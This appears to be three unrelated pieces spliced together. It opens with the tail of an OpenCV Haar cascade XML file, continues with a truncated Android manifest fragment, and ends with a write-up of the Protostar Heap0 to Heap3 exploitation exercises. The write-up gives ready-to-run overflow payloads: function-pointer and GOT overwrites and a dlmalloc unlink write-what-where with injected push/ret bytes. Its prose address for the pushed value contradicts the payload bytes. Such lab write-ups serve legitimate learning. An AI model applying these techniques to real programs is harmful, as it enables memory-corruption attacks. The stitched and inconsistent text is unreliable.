            7.2631411254405975e-02 -8.5188585519790649e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 122 2.4600859615020454e-04</internalNodes>
          <leafValues>
            -2.5627604126930237e-01 3.1956541538238525e-01</leafValues></_></weakClassifiers></_>
    <!-- stage 9 -->
    <_>
      <maxWeakCount>20</maxWeakCount>
      <stageThreshold>-9.9150955677032471e-01</stageThreshold>
      <weakClassifiers>
        <_>
          <internalNodes>
            0 -1 62 1.3654518872499466e-02</internalNodes>
          <leafValues>
            -9.8709184676408768e-03 6.6015905141830444e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 78 7.2427727282047272e-03</internalNodes>
          <leafValues>
            -5.8807718753814697e-01 2.1381166577339172e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 111 4.9609469715505838e-04</internalNodes>
          <leafValues>
            -2.9101940989494324e-01 3.4527143836021423e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 18 3.4736156463623047e-01</internalNodes>
          <leafValues>
            -1.9211575388908386e-01 4.8873701691627502e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 79 1.5080852434039116e-02</internalNodes>
          <leafValues>
            9.7582928836345673e-02 -7.5306981801986694e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 15 -9.5184110105037689e-03</internalNodes>
          <leafValues>
            3.9861851930618286e-01 -2.4962207674980164e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 55 2.1816417574882507e-03</internalNodes>
          <leafValues>
            -2.5537005066871643e-01 3.3598521351814270e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 124 4.2950930073857307e-03</internalNodes>
          <leafValues>
            -1.3245861232280731e-01 4.8518487811088562e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 58 -7.1088126860558987e-03</internalNodes>
          <leafValues>
            5.9675210714340210e-01 -1.5455369651317596e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 52 -2.7665104425977916e-05</internalNodes>
          <leafValues>
            -4.1188406944274902e-01 2.0186842978000641e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 110 2.1967918146401644e-03</internalNodes>
          <leafValues>
            9.3253009021282196e-02 -7.3134720325469971e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 27 1.0375663638114929e-02</internalNodes>
          <leafValues>
            1.2880435585975647e-01 -5.1558691263198853e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 16 8.1313988193869591e-03</internalNodes>
          <leafValues>
            -4.6929702162742615e-01 1.6841439902782440e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 115 1.2468376662582159e-03</internalNodes>
          <leafValues>
            8.6429163813591003e-02 -8.4415769577026367e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 92 1.5072302892804146e-02</internalNodes>
          <leafValues>
            -1.5016663074493408e-01 5.2526330947875977e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 45 2.1049689967185259e-03</internalNodes>
          <leafValues>
            9.7609296441078186e-02 -7.4327546358108521e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 118 1.8947373609989882e-03</internalNodes>
          <leafValues>
            6.1133395880460739e-02 -9.1627216339111328e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 72 -5.8402167633175850e-03</internalNodes>
          <leafValues>
            -8.3514356613159180e-01 6.5533354878425598e-02</leafValues></_>
        <_>
          <internalNodes>
            0 -1 74 7.4425544589757919e-03</internalNodes>
          <leafValues>
            -1.9804942607879639e-01 3.9447832107543945e-01</leafValues></_>
        <_>
          <internalNodes>
            0 -1 35 -4.1467421688139439e-03</internalNodes>
          <leafValues>
            4.2921727895736694e-01 -2.1308177709579468e-01</leafValues></_></weakClassifiers></_></stages>
  <features>
    <_>
      <rects>
        <_>
          0 7 30 14 -1.</_>
        <_>
          10 7 10 14 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          0 8 27 2 -1.</_>
        <_>
          9 8 9 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          0 8 30 9 -1.</_>
        <_>
          10 8 10 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          0 14 30 3 -1.</_>
        <_>
          10 14 10 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          2 14 27 3 -1.</_>
        <_>
          11 14 9 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          3 8 21 3 -1.</_>
        <_>
          10 8 7 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          3 9 24 9 -1.</_>
        <_>
          11 9 8 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          3 11 6 18 -1.</_>
        <_>
          3 11 3 9 2.</_>
        <_>
          6 20 3 9 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          4 8 21 9 -1.</_>
        <_>
          11 8 7 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          5 10 12 6 -1.</_>
        <_>
          9 10 4 6 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          6 20 6 1 -1.</_>
        <_>
          9 20 3 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          7 13 4 6 -1.</_>
        <_>
          7 15 4 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          8 8 9 6 -1.</_>
        <_>
          8 10 9 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 0 11 27 -1.</_>
        <_>
          9 9 11 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 4 4 21 -1.</_>
        <_>
          9 11 4 7 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 9 10 6 -1.</_>
        <_>
          9 11 10 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 10 8 7 -1.</_>
        <_>
          13 10 4 7 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          9 11 12 4 -1.</_>
        <_>
          13 11 4 4 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 0 12 30 -1.</_>
        <_>
          10 10 12 10 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 6 8 6 -1.</_>
        <_>
          10 8 8 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 8 12 5 -1.</_>
        <_>
          14 8 4 5 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 9 7 4 -1.</_>
        <_>
          10 11 7 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 12 10 4 -1.</_>
        <_>
          15 12 5 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          10 12 9 4 -1.</_>
        <_>
          10 14 9 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 0 9 27 -1.</_>
        <_>
          11 9 9 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 5 18 6 -1.</_>
        <_>
          11 5 9 3 2.</_>
        <_>
          20 8 9 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 7 9 8 -1.</_>
        <_>
          14 7 3 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 6 6 -1.</_>
        <_>
          14 8 3 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 4 10 -1.</_>
        <_>
          11 13 4 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 5 3 -1.</_>
        <_>
          11 9 5 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 5 6 -1.</_>
        <_>
          11 10 5 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 8 5 10 -1.</_>
        <_>
          11 13 5 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 9 5 4 -1.</_>
        <_>
          11 11 5 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 9 5 6 -1.</_>
        <_>
          11 11 5 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 9 8 -1.</_>
        <_>
          14 10 3 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 4 4 -1.</_>
        <_>
          11 12 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 8 4 -1.</_>
        <_>
          11 10 4 2 2.</_>
        <_>
          15 12 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 5 10 -1.</_>
        <_>
          11 15 5 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 6 3 -1.</_>
        <_>
          11 11 6 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 8 8 -1.</_>
        <_>
          11 14 8 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 10 10 12 -1.</_>
        <_>
          11 14 10 4 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 11 6 5 -1.</_>
        <_>
          14 11 3 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 11 6 7 -1.</_>
        <_>
          14 11 3 7 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 11 5 6 -1.</_>
        <_>
          11 13 5 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 12 5 6 -1.</_>
        <_>
          11 14 5 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          11 14 3 3 -1.</_>
        <_>
          12 14 1 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 6 4 6 -1.</_>
        <_>
          12 8 4 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 7 8 4 -1.</_>
        <_>
          12 7 4 2 2.</_>
        <_>
          16 9 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 8 4 3 -1.</_>
        <_>
          12 9 4 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 8 4 6 -1.</_>
        <_>
          12 10 4 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 8 5 3 -1.</_>
        <_>
          12 9 5 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 8 10 10 -1.</_>
        <_>
          12 8 5 5 2.</_>
        <_>
          17 13 5 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 9 6 1 -1.</_>
        <_>
          14 9 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 9 9 8 -1.</_>
        <_>
          15 9 3 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 9 4 3 -1.</_>
        <_>
          12 10 4 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 6 4 -1.</_>
        <_>
          12 10 3 2 2.</_>
        <_>
          15 12 3 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 6 6 -1.</_>
        <_>
          15 10 3 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 4 3 -1.</_>
        <_>
          12 11 4 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 8 4 -1.</_>
        <_>
          12 10 4 2 2.</_>
        <_>
          16 12 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 10 6 8 -1.</_>
        <_>
          12 14 6 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 11 2 4 -1.</_>
        <_>
          12 11 1 2 2.</_>
        <_>
          13 13 1 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 11 3 3 -1.</_>
        <_>
          12 12 3 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 11 3 9 -1.</_>
        <_>
          12 14 3 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 11 5 3 -1.</_>
        <_>
          12 12 5 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 12 3 6 -1.</_>
        <_>
          12 14 3 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 12 6 6 -1.</_>
        <_>
          15 12 3 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 12 4 3 -1.</_>
        <_>
          12 13 4 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 12 8 4 -1.</_>
        <_>
          16 12 4 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 13 7 2 -1.</_>
        <_>
          12 14 7 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 13 8 6 -1.</_>
        <_>
          12 15 8 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 16 3 2 -1.</_>
        <_>
          12 17 3 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          12 17 7 4 -1.</_>
        <_>
          12 19 7 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 6 2 10 -1.</_>
        <_>
          13 11 2 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 7 3 10 -1.</_>
        <_>
          13 12 3 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 8 8 4 -1.</_>
        <_>
          13 8 4 2 2.</_>
        <_>
          17 10 4 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 8 5 10 -1.</_>
        <_>
          13 13 5 5 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 9 3 4 -1.</_>
        <_>
          13 11 3 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 9 7 6 -1.</_>
        <_>
          13 12 7 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 10 9 7 -1.</_>
        <_>
          16 10 3 7 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 10 8 6 -1.</_>
        <_>
          13 13 8 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 11 9 6 -1.</_>
        <_>
          16 11 3 6 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          13 13 3 6 -1.</_>
        <_>
          13 15 3 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 0 6 27 -1.</_>
        <_>
          14 9 6 9 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 2 1 15 -1.</_>
        <_>
          14 7 1 5 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 10 5 8 -1.</_>
        <_>
          14 14 5 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 12 4 6 -1.</_>
        <_>
          16 12 2 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 12 6 6 -1.</_>
        <_>
          14 15 6 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 13 6 1 -1.</_>
        <_>
          16 13 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 13 6 4 -1.</_>
        <_>
          17 13 3 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 13 9 7 -1.</_>
        <_>
          17 13 3 7 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 13 9 8 -1.</_>
        <_>
          17 13 3 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 14 4 2 -1.</_>
        <_>
          16 14 2 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 14 4 9 -1.</_>
        <_>
          14 17 4 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          14 16 1 4 -1.</_>
        <_>
          14 18 1 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 11 5 6 -1.</_>
        <_>
          15 14 5 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 11 6 6 -1.</_>
        <_>
          15 14 6 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 12 4 6 -1.</_>
        <_>
          17 12 2 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 14 3 4 -1.</_>
        <_>
          16 14 1 4 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 14 3 6 -1.</_>
        <_>
          15 16 3 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 14 4 6 -1.</_>
        <_>
          15 16 4 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 15 4 2 -1.</_>
        <_>
          17 15 2 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          15 17 3 1 -1.</_>
        <_>
          16 17 1 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 8 6 9 -1.</_>
        <_>
          16 11 6 3 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 11 6 7 -1.</_>
        <_>
          18 11 2 7 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 11 5 6 -1.</_>
        <_>
          16 14 5 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 12 2 6 -1.</_>
        <_>
          17 12 1 6 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 13 1 6 -1.</_>
        <_>
          16 16 1 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          16 13 2 4 -1.</_>
        <_>
          17 13 1 4 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 8 3 6 -1.</_>
        <_>
          17 10 3 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 10 2 3 -1.</_>
        <_>
          17 11 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 10 3 3 -1.</_>
        <_>
          17 11 3 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 13 1 4 -1.</_>
        <_>
          17 15 1 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 16 3 2 -1.</_>
        <_>
          18 16 1 2 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          17 17 3 1 -1.</_>
        <_>
          18 17 1 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 3 2 24 -1.</_>
        <_>
          18 11 2 8 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 9 1 3 -1.</_>
        <_>
          18 10 1 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 9 4 6 -1.</_>
        <_>
          18 9 2 3 2.</_>
        <_>
          20 12 2 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 10 2 3 -1.</_>
        <_>
          18 11 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 11 2 3 -1.</_>
        <_>
          18 12 2 1 3.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          18 17 2 1 -1.</_>
        <_>
          19 17 1 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          19 16 2 2 -1.</_>
        <_>
          20 16 1 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          20 9 1 2 -1.</_>
        <_>
          20 10 1 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          21 10 1 2 -1.</_>
        <_>
          21 11 1 1 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          21 15 6 4 -1.</_>
        <_>
          21 15 3 2 2.</_>
        <_>
          24 17 3 2 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          22 15 4 6 -1.</_>
        <_>
          22 15 2 3 2.</_>
        <_>
          24 18 2 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          24 17 4 3 -1.</_>
        <_>
          26 17 2 3 2.</_></rects>
      <tilted>0</tilted></_>
    <_>
      <rects>
        <_>
          25 17 2 5 -1.</_>
        <_>
          26 17 1 5 2.</_></rects>
      <tilted>0</tilted></_></features></cascade>
</opencv_storage>

sion="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="it.polictf2015" platformBuildVersionCode="21" platformBuildVersionName="5.0.1-1624448">
    <appl

Protostar - Heap series writeup

I was looking to get some practice with heap-based exploits and stumbled upon the Protostar Heap series: https://exploit-exercises.com/protostar/

Heap0

---

The challenge can be found at: https://exploit-exercises.com/protostar/heap0/
We have to make the function winner execute instead of the nowinner function.
Running the app we get:

data is at 0x804a008, fp is at 0x804a050

In other words, the data and fp pointers are 0x48 (72) apart. Since the strcpy function is used to copy the user input into the name segment of pointer data, we just need to overflow it to write to the address of the second pointer (fp). Once we overflow it we can easily write any address we want to f->fp.
First, we need to get the addresses of the winner and nowinner functions:

objdump -d heap0 | grep winner
08048464 <winner>:
08048478 <nowinner>

In other words, after overflowing the 72 bytes, we just need to put the address of the winner function to f->fp and we are done!
Here is the solution:

./heap0 ´python  -c "print 'a'*72+\"\x64\x84\x04\x08\"´
data is at 0x804a008, fp is at 0x804a050
level passed

Heap1

---

The challenge can be found at: https://exploit-exercises.com/protostar/heap1/
This challenge is somewhat similar to the previous one, with the added twist of having to hijack the printf function instead.

Notice the two strcpy functions which are obviously susceptible to an overflow.
First, let's get the addresses of the winner function:

objdump -d heap1 | grep winner
08048494 <winner>:

Because of the way the strcpy function works, this is a classical write-what-where exploit. The strcpy takes two parameters: a pointer to a destination to wrote to, and a pointer to the source which is to be copied.

If we look at the second strcpy function used: strcpy(i2->name, argv[2]);
...we see that we need to have i2->name point to the location of the printf function (in the GOT), and our user input (argv[2]) to the winner function. This is done by overflowing the first structure i1. In the first strcpy, we overwrite i2->name, so that it points to an address of our choice.
First wee need to find the number of bytes to overflow so that we can write to i2->name. 
This can be done by tinkering with edb (or any other debugger). 

edb --run ./heap1 `python -c "print 'a'*4+'b'*4+'c'*4+'d'*4+'e'*4+'f'*4+'g'*4+'h'*4+'i'*4"` bbb

With this it is easy to craft a payload that writes to i2->name, but where do we write to? The entry for printf in the GOT (I'm not going to go into detail about what that is, here a a few links that proved useful to me: link1, link2).
In order to get the address of printf, we first dump the addresses of the imported functions:

objdump -R heap1 

heap1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts

NOTE: although the printf function is used in the source-code, the compiler actually uses the puts function instead (presumably because there were no format strings in the printf). This is easily verified by any decopiler you have handy...

So... we are not going to write to the address of printf, but to the address of puts (0x08049774)!
Putting it all together, we get this nice exploit:

./heap1 `python -c "print 'a'*20+'\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1453046812

Heap2

---

The challenge can be found at: https://exploit-exercises.com/protostar/heap2/
This one is a little different. It seems we are not ment to hijack anything, but rather trick the app into thinking that the auth->auth value is set. 
Looking through the code, it seems easy enough to overflow since we have a small "helper" printf that shows us where the addresses of the auth and service pointers are.
Finding the right sequence is relatively easy: 

./heap2 
[ auth = (nil), service = (nil) ]
auth baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x91b8008, service = (nil) ]
service aaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x91b8008, service = 0x91b8018 ]
auth
[ auth = 0x91b8008, service = 0x91b8018 ]
login
you have logged in already!
[ auth = 0x91b8008, service = 0x91b8018 ]

Heap3

---

The challenge can be found at: https://exploit-exercises.com/protostar/heap3/
This seams to be the hardest challenge in the HEAP group of Protostar (if for no other reason the because I get a 404 not found error when accessing heap4).

It seams to rely on an old vulnerability in the Doug Lea Malloc (dlmalloc), which is not present on most modern Linux platforms today so you probably won't be able to replicate it outside the Protostar machine.
I admit to not having been aware of this exploit before hand and had to read up on it. Although I looked at many sources, the best one for me was this paper: https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf

I'm not going to go into much detail since there are resources out there explaining this vulnerability. Basically, it is another write-what-where exploit which leverages the way dlmalloc frees unused chunks.

Once again the printf (that is, puts, for the same reason as in heap1) function needs to be overwritten with the address of winner. Let's quickly find the addresses of puts and winner.

objdump -d heap3 | grep winner
08048864 <winner>:

objdump -R heap3

heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804b0e4 R_386_GLOB_DAT    __gmon_start__
.... TRUNCATED.....
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

Since we have three buffers, we need to craft our payload so that is sits in the first buffer AND overflow the second buffer so that it thinks it is free (because that will trigger and  write-what-where condition).
After tinkering with the second buffer and looking at the paper I mentioned, we need to place our source and destination addressed in the forward and backward pointer of the second buffer (because there is an unlink function/macro that will be used to empty a doubly linked list with the free chunks, and thus trigger the write-what-where).
There is still the problem of calling the winner function - we do this by filling the first buffer with a small payload like this:

push 08045564
ret

Putting it all together:

 ./heap3 `python -c 'print "KIKIKIKI\x68\x64\x88\x04\x08\xc3 " + "\xff"*32 + "\xfc\xff\xff\xff"*2 + " KIKI\x1c\xb1\x04\x08\x04\xc0\x04\x08"'`